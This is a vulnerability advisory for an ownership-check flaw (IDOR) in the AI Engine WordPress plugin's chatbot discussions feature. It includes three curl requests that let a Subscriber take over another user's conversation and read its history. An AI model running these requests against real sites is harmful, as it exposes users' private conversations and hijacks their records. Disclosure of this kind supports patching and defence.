AI Engine < 3.5.5 – Subscriber+Chatbot Discussion Disclosure and Takeover via IDOR | CVE 2026-12510

Description

The plugin does not verify that a user owns the chatbot conversation referenced by a client-supplied identifier, allowing users with subscriber-level access to read other users' private conversations and take over their conversation records when the discussions feature is enabled.

Proof of Concept

Setup: enable the Discussions feature (Settings > AI Engine > Chatbot; OFF by default, creates the chats table) and configure a chatbot with an AI provider. Two accounts: victim A and attacker B (B = plain Subscriber). Each request uses the caller's own wp_rest nonce (X-WP-Nonce), which any logged-in user obtains from the localized script data on a front-end/admin page. The attacker must know the victim's chatId (random by default; trivially known when the site uses a fixed customId/shortcode id, or via referrer/browser-history leakage).

1. Victim A creates a private discussion:
curl -s -b A_COOKIES -H "X-WP-Nonce: <A_nonce>" -H 'Content-Type: application/json' \
  --data '{"botId":"default","chatId":"victimchat777","newMessage":"VICTIM_SECRET_balance_is_999"}' \
  'https://victim.example/wp-json/mwai-ui/v1/chats/submit'

2. Attacker B (Subscriber) submits a chat referencing the VICTIM's chatId; after the bot replies, the discussion's owner is reassigned to B:
curl -s -b B_COOKIES -H "X-WP-Nonce: <B_nonce>" -H 'Content-Type: application/json' \
  --data '{"botId":"default","chatId":"victimchat777","newMessage":"attacker_hijack"}' \
  'https://victim.example/wp-json/mwai-ui/v1/chats/submit'

3. Attacker B lists their own discussions, which now include the victim's discussion and full history:
curl -s -b B_COOKIES -H "X-WP-Nonce: <B_nonce>" -H 'Content-Type: application/json' \
  --data '{"botId":"default"}' 'https://victim.example/wp-json/mwai-ui/v1/discussions/list'

Expected: before step 2, B's discussions/list is empty; after step 2 the victim discussion row's owner changes from A to B (takeover), and step 3 returns the victim's prior message VICTIM_SECRET_balance_is_999 (cross-user disclosure).